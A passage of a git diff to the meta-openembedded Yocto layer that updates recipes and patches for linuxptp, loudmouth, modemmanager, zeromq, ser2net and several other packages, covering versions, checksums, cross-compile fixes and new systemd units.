- # with this program; if not, write to the Free Software Foundation, Inc.,
- # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-
--KBUILD_OUTPUT =
-+KBUILD_OUTPUT ?=
-
- DEBUG =
- CC ?= $(CROSS_COMPILE)gcc
---
-2.25.1
-
diff --git a/meta-openembedded/meta-oe/recipes-connectivity/linuxptp/linuxptp/0002-linuxptp-Use-CC-in-incdefs.sh.patch b/meta-openembedded/meta-oe/recipes-connectivity/linuxptp/linuxptp/0002-linuxptp-Use-CC-in-incdefs.sh.patch
new file mode 100644
index 0000000000..e6a3386df0
--- /dev/null
+++ b/meta-openembedded/meta-oe/recipes-connectivity/linuxptp/linuxptp/0002-linuxptp-Use-CC-in-incdefs.sh.patch
@@ -0,0 +1,34 @@
+From 2cc19a679ec37715df546dd9f00d8d9b0ab20059 Mon Sep 17 00:00:00 2001
+From: Luca Fancellu <luca.fancellu@arm.com>
+Date: Wed, 18 Oct 2023 11:10:18 +0100
+Subject: [PATCH] linuxptp: Use ${CC} in incdefs.sh
+
+The Makefile is defining CC and incdefs.sh is using
+${CROSS_COMPILE}cpp inside it, allowing both to use different
+compilers depending on what the user pass during make invocation
+as CC.
+
+Align them using ${CC} also inside incdefs.sh
+
+Signed-off-by: Luca Fancellu <luca.fancellu@arm.com>
+Upstream-Status: Pending
+---
+ incdefs.sh | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/incdefs.sh b/incdefs.sh
+index a9e94f777f6b..391e63c7fac6 100755
+--- a/incdefs.sh
++++ b/incdefs.sh
+@@ -27,7 +27,7 @@ user_flags()
+ printf " -D_GNU_SOURCE"
+
+ # Get list of directories searched for header files.
+- dirs=$(echo "" | ${CROSS_COMPILE}cpp -Wp,-v 2>&1 >/dev/null | grep ^" /")
++ dirs=$(${CC} -E -Wp,-v -xc /dev/null 2>&1 >/dev/null | grep ^" /")
+
+ # Look for clock_adjtime().
+ for d in $dirs; do
+--
+2.34.1
+
diff --git a/meta-openembedded/meta-oe/recipes-connectivity/linuxptp/linuxptp/Use-cross-cpp-in-incdefs.patch b/meta-openembedded/meta-oe/recipes-connectivity/linuxptp/linuxptp/Use-cross-cpp-in-incdefs.patch
deleted file mode 100644
index 876088649e..0000000000
--- a/meta-openembedded/meta-oe/recipes-connectivity/linuxptp/linuxptp/Use-cross-cpp-in-incdefs.patch
+++ /dev/null
@@ -1,26 +0,0 @@
-From 8a4cad5e2f2cbb6a34bdc6e877fe499502b8c4c8 Mon Sep 17 00:00:00 2001
-From: Marcel Ziswiler <marcel.ziswiler@toradex.com>
-Date: Fri, 23 Dec 2016 18:12:29 +0100
-Subject: [PATCH] linuxptp: Use cross cpp in incdefs
-
-Use cross cpp incdefs.sh shell script since we are doing cross compiling
-we need to ensure we use correct setttings from toolchain
-
-Upstream-Status: Inappropriate [OE-Specific]
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
-
- makefile | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
---- a/incdefs.sh
-+++ b/incdefs.sh
-@@ -27,7 +27,7 @@ user_flags()
- printf " -D_GNU_SOURCE"
-
- # Get list of directories searched for header files.
-- dirs=$(echo "" | ${CROSS_COMPILE}cpp -Wp,-v 2>&1 >/dev/null | grep ^" /")
-+ dirs=$(${CPP} -Wp,-v -xc /dev/null 2>&1 >/dev/null | grep ^" /")
-
- # Look for clock_adjtime().
- for d in $dirs; do
diff --git a/meta-openembedded/meta-oe/recipes-connectivity/linuxptp/linuxptp/build-Allow-CC-and-prefix-to-be-overriden.patch b/meta-openembedded/meta-oe/recipes-connectivity/linuxptp/linuxptp/build-Allow-CC-and-prefix-to-be-overriden.patch
deleted file mode 100644
index 55ce4c9a90..0000000000
--- a/meta-openembedded/meta-oe/recipes-connectivity/linuxptp/linuxptp/build-Allow-CC-and-prefix-to-be-overriden.patch
+++ /dev/null
@@ -1,37 +0,0 @@
-From af485c638c61fa883212ea424e676fbf90bee594 Mon Sep 17 00:00:00 2001
-From: Otavio Salvador <otavio@ossystems.com.br>
-Date: Tue, 1 Jul 2014 17:37:31 -0300
-Subject: [PATCH] build: Allow CC and prefix to be overriden
-
-Upstream-Status: Pending
-
-Signed-off-by: Otavio Salvador <otavio@ossystems.com.br>
----
- makefile | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/makefile b/makefile
-index 22e7d0d..809cc8f 100644
---- a/makefile
-+++ b/makefile
-@@ -18,7 +18,7 @@
- KBUILD_OUTPUT =
-
- DEBUG =
--CC = $(CROSS_COMPILE)gcc
-+CC ?= $(CROSS_COMPILE)gcc
- VER = -DVER=$(version)
- CFLAGS = -Wall $(VER) $(incdefs) $(DEBUG) $(EXTRA_CFLAGS)
- LDLIBS = -lm -lrt -pthread $(EXTRA_LDFLAGS)
-@@ -43,7 +43,7 @@ incdefs := $(shell $(srcdir)/incdefs.sh)
- version := $(shell $(srcdir)/version.sh $(srcdir))
- VPATH = $(srcdir)
-
--prefix = /usr/local
-+prefix ?= /usr/local
- sbindir = $(prefix)/sbin
- mandir = $(prefix)/man
- man8dir = $(mandir)/man8
---
-1.7.10.4
-
diff --git a/meta-openembedded/meta-oe/recipes-connectivity/linuxptp/linuxptp/systemd/phc2sys@.service.in b/meta-openembedded/meta-oe/recipes-connectivity/linuxptp/linuxptp/systemd/phc2sys@.service.in
new file mode 100644
index 0000000000..f66dd2d010
--- /dev/null
+++ b/meta-openembedded/meta-oe/recipes-connectivity/linuxptp/linuxptp/systemd/phc2sys@.service.in
@@ -0,0 +1,13 @@
+[Unit]
+Description=Synchronize system clock or PTP hardware clock (PHC)
+Documentation=man:phc2sys
+Requires=ptp4l.service
+After=ptp4l.service
+Before=time-sync.target
+
+[Service]
+Type=simple
+ExecStart=@SBINDIR@/phc2sys -w -s %I
+
+[Install]
+WantedBy=multi-user.target
diff --git a/meta-openembedded/meta-oe/recipes-connectivity/linuxptp/linuxptp/systemd/ptp4l@.service.in b/meta-openembedded/meta-oe/recipes-connectivity/linuxptp/linuxptp/systemd/ptp4l@.service.in
new file mode 100644
index 0000000000..2502181412
--- /dev/null
+++ b/meta-openembedded/meta-oe/recipes-connectivity/linuxptp/linuxptp/systemd/ptp4l@.service.in
@@ -0,0 +1,11 @@
+[Unit]
+Description=Precision Time Protocol (PTP) service for %I
+Documentation=man:ptp4l
+After=sys-subsystem-net-devices-%i.device
+
+[Service]
+Type=simple
+ExecStart=@SBINDIR@/ptp4l -f @SYSCONFDIR@/linuxptp/ptp4l.conf -i %I
+
+[Install]
+WantedBy=multi-user.target
diff --git a/meta-openembedded/meta-oe/recipes-connectivity/linuxptp/linuxptp_3.1.1.bb b/meta-openembedded/meta-oe/recipes-connectivity/linuxptp/linuxptp_3.1.1.bb
deleted file mode 100644
index 5903cb38ca..0000000000
--- a/meta-openembedded/meta-oe/recipes-connectivity/linuxptp/linuxptp_3.1.1.bb
+++ /dev/null
@@ -1,33 +0,0 @@
-DESCRIPTION = "Precision Time Protocol (PTP) according to IEEE standard 1588 for Linux"
-HOMEPAGE = "http://linuxptp.sourceforge.net/"
-LICENSE = "GPL-2.0-only"
-LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
-
-SRC_URI = "http://sourceforge.net/projects/linuxptp/files/v3.1/linuxptp-${PV}.tgz \
- file://build-Allow-CC-and-prefix-to-be-overriden.patch \
- file://Use-cross-cpp-in-incdefs.patch \
- file://0001-include-string.h-for-strncpy.patch \
- file://0001-makefile-use-conditional-assignment-for-KBUILD_OUTPU.patch \
- "
-
-UPSTREAM_CHECK_URI = "https://sourceforge.net/projects/linuxptp/files/"
-UPSTREAM_CHECK_REGEX = "(?P<pver>\d+(\.\d+)+)/"
-
-SRC_URI[sha256sum] = "94d6855f9b7f2d8e9b0ca6d384e3fae6226ce6fc012dbad02608bdef3be1c0d9"
-
-EXTRA_OEMAKE = "ARCH=${TARGET_ARCH} EXTRA_CFLAGS='${CFLAGS}' mandir=${mandir}"
-
-export KBUILD_OUTPUT="${RECIPE_SYSROOT}"
-
-do_install() {
- oe_runmake install DESTDIR=${D} prefix=${prefix}
-
- # Install example configs from source tree
- install -d ${D}${docdir}/${PN}
- cp -R --no-dereference --preserve=mode,links ${S}/configs ${D}${docdir}/${PN}
-}
-
-PACKAGES =+ "${PN}-configs"
-
-FILES:${PN}-configs = "${docdir}"
-FILES:${PN}-doc = "${mandir}"
diff --git a/meta-openembedded/meta-oe/recipes-connectivity/linuxptp/linuxptp_4.1.bb b/meta-openembedded/meta-oe/recipes-connectivity/linuxptp/linuxptp_4.1.bb
new file mode 100644
index 0000000000..9a5c9b5204
--- /dev/null
+++ b/meta-openembedded/meta-oe/recipes-connectivity/linuxptp/linuxptp_4.1.bb
@@ -0,0 +1,62 @@
+SUMMARY = "linuxptp package for linux"
+DESCRIPTION = "Precision Time Protocol (PTP) according to IEEE standard 1588 \
+for Linux"
+HOMEPAGE = "http://linuxptp.sourceforge.net/"
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
+
+LINUXPTP_SRC_URI = "http://sourceforge.net/projects/linuxptp"
+
+SRC_URI = "${LINUXPTP_SRC_URI}/files/v4.1/linuxptp-${PV}.tgz \
+ file://0001-include-string.h-for-strncpy.patch \
+ file://0002-linuxptp-Use-CC-in-incdefs.sh.patch \
+ file://systemd/phc2sys@.service.in \
+ file://systemd/ptp4l@.service.in \
+ "
+
+SRC_URI[md5sum] = "1db8699fc155965341759be5e5aad938"
+SRC_URI[sha256sum] = "e1743d44f8208897e30895da3579e670ff919b914feb4b5a949f3e421ddde535"
+
+inherit systemd
+
+UPSTREAM_CHECK_URI = "${LINUXPTP_SRC_URI}/files/"
+UPSTREAM_CHECK_REGEX = "(?P<pver>\d+(\.\d+)+)/"
+
+EXTRA_OEMAKE = "CC='${CC}' EXTRA_CFLAGS='${CFLAGS}' mandir='${mandir}' \
+ sbindir='${sbindir}'"
+
+export KBUILD_OUTPUT="${RECIPE_SYSROOT}"
+
+LINUXPTP_SYSTEMD_SERVICES = "phc2sys@.service ptp4l@.service"
+
+do_install() {
+ oe_runmake install DESTDIR=${D}
+
+ # Install example configs from source tree
+ install -d ${D}${docdir}/${PN}
+ cp -R --no-dereference --preserve=mode,links ${S}/configs \
+ ${D}${docdir}/${PN}
+
+ # Install default configuration files
+ install -d ${D}/${sysconfdir}/linuxptp/
+ install -m 644 ${S}/configs/default.cfg \
+ ${D}${sysconfdir}/linuxptp/ptp4l.conf
+
+ # Install systemd services
+ install -d ${D}/${systemd_unitdir}/system/
+ for service in ${LINUXPTP_SYSTEMD_SERVICES}; do
+ sed -i -e 's,@SBINDIR@,${sbindir},g' \
+ ${WORKDIR}/systemd/$service.in
+ sed -i -e 's,@SYSCONFDIR@,${sysconfdir},g' \
+ ${WORKDIR}/systemd/$service.in
+ install -m 644 ${WORKDIR}/systemd/$service.in \
+ ${D}/${systemd_unitdir}/system/$service
+ done
+}
+
+SYSTEMD_SERVICE:${PN} = "${LINUXPTP_SYSTEMD_SERVICES}"
+SYSTEMD_AUTO_ENABLE:${PN} = "disable"
+
+PACKAGES =+ "${PN}-configs"
+
+FILES:${PN}-configs += "${docdir}"
diff --git a/meta-openembedded/meta-oe/recipes-connectivity/loudmouth/loudmouth-1.4.3/04-use-pkg-config-for-gnutls.patch b/meta-openembedded/meta-oe/recipes-connectivity/loudmouth/loudmouth-1.4.3/04-use-pkg-config-for-gnutls.patch
deleted file mode 100644
index 0fc87abd09..0000000000
--- a/meta-openembedded/meta-oe/recipes-connectivity/loudmouth/loudmouth-1.4.3/04-use-pkg-config-for-gnutls.patch
+++ /dev/null
@@ -1,25 +0,0 @@
-Upstream-Status: Pending
-
-Description: use pkg-config to detect gnutls
-Debian: http://bugs.debian.org/529835
-Origin: http://groups.google.com/group/loudmouth-dev/browse_thread/thread/3f78255837048daf#
-
---- a/configure.ac.orig 2009-08-16 20:29:36.000000000 +0200
-+++ b/configure.ac 2009-08-16 20:30:43.000000000 +0200
-@@ -146,10 +146,12 @@ AC_ARG_WITH(openssl-libs,
- enable_ssl=no
- if test "x$ac_ssl" = "xgnutls"; then
- dnl Look for GnuTLS
-- AM_PATH_LM_LIBGNUTLS($GNUTLS_REQUIRED, have_libgnutls=yes, have_libgnutls=no)
-- if test "x$have_libgnutls" = "xyes"; then
-- CFLAGS="$CFLAGS $LIBGNUTLS_CFLAGS"
-- LIBS="$LIBS $LIBGNUTLS_LIBS"
-+ PKG_CHECK_MODULES(GNUTLS, gnutls >= $GNUTLS_REQUIRED, have_gnutls=yes, have_gnutls=no)
-+ if test "x$have_gnutls" = "xyes"; then
-+ AC_SUBST(ASYNCNS_CFLAGS)
-+ AC_SUBST(ASYNCNS_LIBS)
-+ CFLAGS="$CFLAGS $GNUTLS_CFLAGS"
-+ LIBS="$LIBS $GNUTLS_LIBS"
- AC_DEFINE(HAVE_GNUTLS, 1, [whether to use GnuTSL support.])
- enable_ssl=GnuTLS
- else
diff --git a/meta-openembedded/meta-oe/recipes-connectivity/loudmouth/loudmouth-1.4.3/glib-2.32.patch b/meta-openembedded/meta-oe/recipes-connectivity/loudmouth/loudmouth-1.4.3/glib-2.32.patch
deleted file mode 100644
index 921aded943..0000000000
--- a/meta-openembedded/meta-oe/recipes-connectivity/loudmouth/loudmouth-1.4.3/glib-2.32.patch
+++ /dev/null
@@ -1,12 +0,0 @@
-Upstream-Status: Pending
-
---- loudmouth-1.4.3.orig/loudmouth/lm-error.c 2008-10-29 21:48:15.000000000 +0100
-+++ loudmouth-1.4.3/loudmouth/lm-error.c 2012-05-06 08:27:07.455739440 +0200
-@@ -19,7 +19,6 @@
- */
-
- #include <config.h>
--#include <glib/gerror.h>
- #include "lm-error.h"
-
- /**
diff --git a/meta-openembedded/meta-oe/recipes-connectivity/loudmouth/loudmouth_1.4.3.bb b/meta-openembedded/meta-oe/recipes-connectivity/loudmouth/loudmouth_1.4.3.bb
deleted file mode 100644
index 7b5eecf54d..0000000000
--- a/meta-openembedded/meta-oe/recipes-connectivity/loudmouth/loudmouth_1.4.3.bb
+++ /dev/null
@@ -1,21 +0,0 @@
-DESCRIPTION = "Loudmouth is a lightweight and easy-to-use C library for programming with the Jabber protocol."
-HOMEPAGE = "http://www.loudmouth-project.org/"
-
-LICENSE = "LGPL-2.1-only"
-LIC_FILES_CHKSUM = "file://COPYING;md5=c4f38aef94828f6b280e00d1173be689"
-
-DEPENDS = "glib-2.0 libcheck openssl libidn"
-
-inherit gnomebase gtk-doc
-
-PR = "r2"
-
-SRC_URI += "file://04-use-pkg-config-for-gnutls.patch \
- file://glib-2.32.patch"
-
-SRC_URI[archive.md5sum] = "55339ca42494690c3942ee1465a96937"
-SRC_URI[archive.sha256sum] = "95a93f5d009b71ea8193d994aa11f311bc330a3efe1b7cd74dc48f11c7f929e3"
-GNOME_COMPRESS_TYPE="bz2"
-
-EXTRA_OECONF = "--with-ssl=openssl"
-
diff --git a/meta-openembedded/meta-oe/recipes-connectivity/loudmouth/loudmouth_1.5.4.bb b/meta-openembedded/meta-oe/recipes-connectivity/loudmouth/loudmouth_1.5.4.bb
new file mode 100644
index 0000000000..f67c46b428
--- /dev/null
+++ b/meta-openembedded/meta-oe/recipes-connectivity/loudmouth/loudmouth_1.5.4.bb
@@ -0,0 +1,16 @@
+DESCRIPTION = "Loudmouth is a lightweight and easy-to-use C library for programming with the Jabber protocol."
+HOMEPAGE = "http://www.loudmouth-project.org/"
+
+LICENSE = "LGPL-2.1-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
+
+DEPENDS = "glib-2.0 libcheck openssl libidn"
+
+GNOMEBASEBUILDCLASS = "autotools"
+
+inherit gnomebase gtk-doc
+
+SRC_URI = "https://github.com/mcabber/${BPN}/releases/download/${PV}/${BP}.tar.bz2"
+SRC_URI[sha256sum] = "31cbc91c1fddcc5346b3373b8fb45594e9ea9cc7fe36d0595e8912c47ad94d0d"
+
+EXTRA_OECONF = "--with-ssl=openssl --with-compile-warnings=no"
diff --git a/meta-openembedded/meta-oe/recipes-connectivity/modemmanager/modemmanager_1.20.6.bb b/meta-openembedded/meta-oe/recipes-connectivity/modemmanager/modemmanager_1.22.0.bb
index ba82d21508..6b4336eb80 100644
--- a/meta-openembedded/meta-oe/recipes-connectivity/modemmanager/modemmanager_1.20.6.bb
+++ b/meta-openembedded/meta-oe/recipes-connectivity/modemmanager/modemmanager_1.22.0.bb
@@ -7,13 +7,12 @@ LIC_FILES_CHKSUM = " \
file://COPYING.LIB;md5=4fbd65380cdd255951079008b364516c \
"
-GNOMEBASEBUILDCLASS = "meson"
inherit gnomebase gettext systemd gobject-introspection bash-completion
DEPENDS = "glib-2.0 libgudev libxslt-native dbus"
-SRCREV = "6aa0ff583d04aea88b4da7a1c20049f57062dab6"
-SRC_URI = "git://gitlab.freedesktop.org/mobile-broadband/ModemManager.git;protocol=https;branch=mm-1-20"
+SRCREV = "03f786ce66360d67c669f4f122f8aa458e6f01ea"
+SRC_URI = "git://gitlab.freedesktop.org/mobile-broadband/ModemManager.git;protocol=https;branch=mm-1-22"
S = "${WORKDIR}/git"
@@ -37,7 +36,7 @@ PACKAGECONFIG[qmi] = "-Dqmi=true,-Dqmi=false,libqmi"
PACKAGECONFIG[qrtr] = "-Dqrtr=true,-Dqrtr=false,libqrtr-glib"
PACKAGECONFIG[vala] = "-Dvapi=true,-Dvapi=false"
-inherit ${@bb.utils.contains('PACKAGECONFIG', 'vala', 'vala', '', d)}
+inherit upstream-version-is-even ${@bb.utils.contains('PACKAGECONFIG', 'vala', 'vala', '', d)}
EXTRA_OEMESON = " \
-Dudevdir=${nonarch_base_libdir}/udev \
diff --git a/meta-openembedded/meta-oe/recipes-connectivity/paho-mqtt-c/paho-mqtt-c_1.3.12.bb b/meta-openembedded/meta-oe/recipes-connectivity/paho-mqtt-c/paho-mqtt-c_1.3.13.bb
index 4decb098c7..6f229001f6 100644
--- a/meta-openembedded/meta-oe/recipes-connectivity/paho-mqtt-c/paho-mqtt-c_1.3.12.bb
+++ b/meta-openembedded/meta-oe/recipes-connectivity/paho-mqtt-c/paho-mqtt-c_1.3.13.bb
@@ -12,7 +12,7 @@ LIC_FILES_CHKSUM = " \
SRC_URI = "git://github.com/eclipse/paho.mqtt.c;protocol=https;branch=master"
-SRCREV = "4157a27d39f1dd5b95750ecb6acd1481432785d8"
+SRCREV = "07a875788d8cc6f5833b12581d6e3e349b34d719"
DEPENDS = "openssl"
diff --git a/meta-openembedded/meta-oe/recipes-connectivity/pcapplusplus/pcapplusplus_23.09.bb b/meta-openembedded/meta-oe/recipes-connectivity/pcapplusplus/pcapplusplus_23.09.bb
new file mode 100644
index 0000000000..39c6942c83
--- /dev/null
+++ b/meta-openembedded/meta-oe/recipes-connectivity/pcapplusplus/pcapplusplus_23.09.bb
@@ -0,0 +1,21 @@
+SUMMARY = "A multiplatform C++ library for capturing, parsing and crafting of network packets"
+HOMEPAGE = "https://pcapplusplus.github.io/"
+BUGTRACKER = "https://github.com/seladb/PcapPlusPlus/issues"
+SECTION = "libs/network"
+LICENSE = "Unlicense"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=911690f51af322440237a253d695d19f"
+
+DEPENDS = "libpcap"
+
+SRC_URI = "git://github.com/seladb/PcapPlusPlus.git;protocol=https;branch=master"
+SRCREV = "4cf8ed44f9dd145f874dc1dd747dfefcfcab75be"
+
+S = "${WORKDIR}/git"
+
+inherit cmake
+
+PACKAGECONFIG ??= ""
+PACKAGECONFIG[examples] = "-DPCAPPP_BUILD_EXAMPLES=ON,-DPCAPPP_BUILD_EXAMPLES=OFF"
+PACKAGECONFIG[shared] = "-DBUILD_SHARED_LIBS=ON,-DBUILD_SHARED_LIBS=OFF"
+PACKAGECONFIG[tests] = "-DPCAPPP_BUILD_TESTS=ON,-DPCAPPP_BUILD_TESTS=OFF"
+PACKAGECONFIG[zstd] = "-DLIGHT_PCAPNG_ZSTD=ON,-DLIGHT_PCAPNG_ZSTD=OFF,zstd"
diff --git a/meta-openembedded/meta-oe/recipes-connectivity/ser2net/ser2net_4.3.13.bb b/meta-openembedded/meta-oe/recipes-connectivity/ser2net/ser2net_4.5.1.bb
index a4c244d447..2507933098 100644
--- a/meta-openembedded/meta-oe/recipes-connectivity/ser2net/ser2net_4.3.13.bb
+++ b/meta-openembedded/meta-oe/recipes-connectivity/ser2net/ser2net_4.5.1.bb
@@ -9,10 +9,8 @@ DEPENDS = "gensio libyaml"
SRC_URI = "${SOURCEFORGE_MIRROR}/project/ser2net/ser2net/ser2net-${PV}.tar.gz"
-SRC_URI[sha256sum] = "ed8b98448d535111d9a593b067601a8b53e2874814d706b2421a9490a660d265"
+SRC_URI[sha256sum] = "6d60c2eb9e15f6a23743ce7fc3687a8880042d7fca43572e73ca76ed003de258"
UPSTREAM_CHECK_URI = "http://sourceforge.net/projects/ser2net/files/ser2net"
inherit autotools pkgconfig
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta-openembedded/meta-oe/recipes-connectivity/zeromq/czmq_4.2.1.bb b/meta-openembedded/meta-oe/recipes-connectivity/zeromq/czmq_4.2.1.bb
index 86fde7ccfb..ce9d758d9f 100644
--- a/meta-openembedded/meta-oe/recipes-connectivity/zeromq/czmq_4.2.1.bb
+++ b/meta-openembedded/meta-oe/recipes-connectivity/zeromq/czmq_4.2.1.bb
@@ -30,8 +30,6 @@ PACKAGECONFIG[nss] = "-DCZMQ_WITH_NSS=ON,-DCZMQ_WITH_NSS=OFF,nss"
PACKAGECONFIG[systemd] = "-DCZMQ_WITH_SYSTEMD=ON,-DCZMQ_WITH_SYSTEMD=OFF,systemd"
PACKAGECONFIG[uuid] = "-DCZMQ_WITH_UUID=ON,-DCZMQ_WITH_UUID=OFF,util-linux"
-BBCLASSEXTEND = "nativesdk"
-
do_install:append() {
mkdir -p ${D}/${includedir}/${BPN}
mv ${D}/${includedir}/sha1.h ${D}/${includedir}/${BPN}/.
diff --git a/meta-openembedded/meta-oe/recipes-connectivity/zeromq/files/0001-src-secure_allocator.hpp-define-missing-rebind-type.patch b/meta-openembedded/meta-oe/recipes-connectivity/zeromq/files/0001-src-secure_allocator.hpp-define-missing-rebind-type.patch
deleted file mode 100644
index d32190818b..0000000000
--- a/meta-openembedded/meta-oe/recipes-connectivity/zeromq/files/0001-src-secure_allocator.hpp-define-missing-rebind-type.patch
+++ /dev/null
@@ -1,64 +0,0 @@
-From 66e72389cc90625ed74e8ba1ea3a65234bdb06b5 Mon Sep 17 00:00:00 2001
-From: Sergei Trofimovich <slyich@gmail.com>
-Date: Tue, 20 Dec 2022 21:45:16 +0000
-Subject: [PATCH] src/secure_allocator.hpp: define missing 'rebind' type
-
-`gcc-13` added an assert to standard headers to make sure custom
-allocators have intended implementation of rebind type instead
-of inherited rebind. gcc change:
- https://gcc.gnu.org/git/?p=gcc.git;a=commitdiff;h=64c986b49558a7
-
-Without the fix build fails on this week's `gcc-13` as:
-
- [ 92%] Building CXX object tests/CMakeFiles/test_security_curve.dir/test_security_curve.cpp.o
- In file included from /<<NIX>>/gcc-13.0.0/include/c++/13.0.0/ext/alloc_traits.h:34,
- from /<<NIX>>/gcc-13.0.0/include/c++/13.0.0/bits/stl_uninitialized.h:64,
- from /<<NIX>>/gcc-13.0.0/include/c++/13.0.0/memory:69,
- from tests/../src/secure_allocator.hpp:42,
- from tests/../src/curve_client_tools.hpp:49,
- from tests/test_security_curve.cpp:53:
- /<<NIX>>/gcc-13.0.0/include/c++/13.0.0/bits/alloc_traits.h: In instantiation of 'struct std::__allocator_traits_base::__rebind<zmq::secure_allocator_t<unsigned char>, unsigned char, void>':
- /<<NIX>>/gcc-13.0.0/include/c++/13.0.0/bits/alloc_traits.h:94:11: required by substitution of 'template<class _Alloc, class _Up> using std::__alloc_rebind = typename std::__allocator_traits_base::__rebind<_Alloc, _Up>::type [with _Alloc = zmq::secure_allocator_t<unsigned char>; _Up = unsigned char]'
- /<<NIX>>/gcc-13.0.0/include/c++/13.0.0/bits/alloc_traits.h:228:8: required by substitution of 'template<class _Alloc> template<class _Tp> using std::allocator_traits< <template-parameter-1-1> >::rebind_alloc = std::__alloc_rebind<_Alloc, _Tp> [with _Tp = unsigned char; _Alloc = zmq::secure_allocator_t<unsigned char>]'
- /<<NIX>>/gcc-13.0.0/include/c++/13.0.0/ext/alloc_traits.h:126:65: required from 'struct __gnu_cxx::__alloc_traits<zmq::secure_allocator_t<unsigned char>, unsigned char>::rebind<unsigned char>'
- /<<NIX>>/gcc-13.0.0/include/c++/13.0.0/bits/stl_vector.h:88:21: required from 'struct std::_Vector_base<unsigned char, zmq::secure_allocator_t<unsigned char> >'
- /<<NIX>>/gcc-13.0.0/include/c++/13.0.0/bits/stl_vector.h:423:11: required from 'class std::vector<unsigned char, zmq::secure_allocator_t<unsigned char> >'
- tests/../src/curve_client_tools.hpp:64:76: required from here
- /<<NIX>>/gcc-13.0.0/include/c++/13.0.0/bits/alloc_traits.h:70:31: error: static assertion failed: allocator_traits<A>::rebind_alloc<A::value_type> must be A
- 70 | _Tp>::value,
- | ^~~~~
-
-The change adds trivial `rebind` definition with expected return type
-and satisfies conversion requirements.
-
-Upstream-Status: Backport [https://github.com/zeromq/libzmq/commit/438d5d88]
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- src/secure_allocator.hpp | 11 +++++++++++
- 1 file changed, 11 insertions(+)
-
-diff --git a/src/secure_allocator.hpp b/src/secure_allocator.hpp
-index 0d37e7ed..5b8de9e2 100644
---- a/src/secure_allocator.hpp
-+++ b/src/secure_allocator.hpp
-@@ -95,6 +95,17 @@ bool operator!= (const secure_allocator_t<T> &, const secure_allocator_t<U> &)
- #else
- template <typename T> struct secure_allocator_t : std::allocator<T>
- {
-+ secure_allocator_t () ZMQ_DEFAULT;
-+
-+ template <class U>
-+ secure_allocator_t (const secure_allocator_t<U> &) ZMQ_NOEXCEPT
-+ {
-+ }
-+
-+ template <class U> struct rebind
-+ {
-+ typedef secure_allocator_t<U> other;
-+ };
- };
- #endif
- }
---
-2.39.1
-
diff --git a/meta-openembedded/meta-oe/recipes-connectivity/zeromq/zeromq_4.3.4.bb b/meta-openembedded/meta-oe/recipes-connectivity/zeromq/zeromq_4.3.5.bb
index cd319b5d3a..555458217a 100644
--- a/meta-openembedded/meta-oe/recipes-connectivity/zeromq/zeromq_4.3.4.bb
+++ b/meta-openembedded/meta-oe/recipes-connectivity/zeromq/zeromq_4.3.5.bb
@@ -1,18 +1,16 @@
DESCRIPTION = "ZeroMQ looks like an embeddable networking library but acts like a concurrency framework"
HOMEPAGE = "http://www.zeromq.org"
-LICENSE = "LGPL-3.0-with-zeromq-exception"
-LIC_FILES_CHKSUM = "file://COPYING.LESSER;md5=d5311495d952062e0e4fbba39cbf3de1"
+LICENSE = "MPL-2.0"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=9741c346eef56131163e13b9db1241b3"
PACKAGECONFIG ??= "libsodium"
PACKAGECONFIG[libsodium] = "-DWITH_LIBSODIUM=ON,-DWITH_LIBSODIUM=OFF, libsodium"
SRC_URI = "http://github.com/zeromq/libzmq/releases/download/v${PV}/zeromq-${PV}.tar.gz \
file://0001-CMakeLists-txt-Avoid-host-specific-path-to-libsodium.patch \
- file://0001-src-secure_allocator.hpp-define-missing-rebind-type.patch \
file://run-ptest \
"
-SRC_URI[md5sum] = "c897d4005a3f0b8276b00b7921412379"
-SRC_URI[sha256sum] = "c593001a89f5a85dd2ddf564805deb860e02471171b3f204944857336295c3e5"
+SRC_URI[sha256sum] = "6653ef5910f17954861fe72332e68b03ca6e4d9c7160eb3a8de5a5a913bfab43"
UPSTREAM_CHECK_URI = "https://github.com/${BPN}/libzmq/releases"
diff --git a/meta-openembedded/meta-oe/recipes-core/emlog/emlog.inc b/meta-openembedded/meta-oe/recipes-core/emlog/emlog.inc
index 0972aff32c..631e52f388 100644
--- a/meta-openembedded/meta-oe/recipes-core/emlog/emlog.inc
+++ b/meta-openembedded/meta-oe/recipes-core/emlog/emlog.inc
@@ -5,7 +5,7 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f"
SRC_URI = "git://github.com/nicupavel/emlog.git;protocol=https;branch=master"
SRCREV = "a9bbf324fde131ff4cf064e32674086c4ced4dca"
-
+PV = "0.70+git"
S = "${WORKDIR}/git"
EXTRA_OEMAKE += " \
diff --git a/meta-openembedded/meta-oe/recipes-core/emlog/emlog_git.bb b/meta-openembedded/meta-oe/recipes-core/emlog/emlog_git.bb
index 03c895f667..6331f618fc 100644
--- a/meta-openembedded/meta-oe/recipes-core/emlog/emlog_git.bb
+++ b/meta-openembedded/meta-oe/recipes-core/emlog/emlog_git.bb
@@ -32,4 +32,6 @@ CVE_STATUS_EMLOG = " \
CVE-2019-17073 \
CVE-2021-44584 \
CVE-2022-1526 \
+ CVE-2022-3968 \
+ CVE-2023-43291 \
"
diff --git a/meta-openembedded/meta-oe/recipes-core/glib-2.0/glibmm-2.68_2.74.0.bb b/meta-openembedded/meta-oe/recipes-core/glib-2.0/glibmm-2.68_2.78.0.bb
index 83ceb64581..f40a8144d7 100644
--- a/meta-openembedded/meta-oe/recipes-core/glib-2.0/glibmm-2.68_2.74.0.bb
+++ b/meta-openembedded/meta-oe/recipes-core/glib-2.0/glibmm-2.68_2.78.0.bb
@@ -7,13 +7,12 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=42dfffebc56fec7527aac53b7a89d1d8 \
DEPENDS = "mm-common glib-2.0 libsigc++-3 glib-2.0-native"
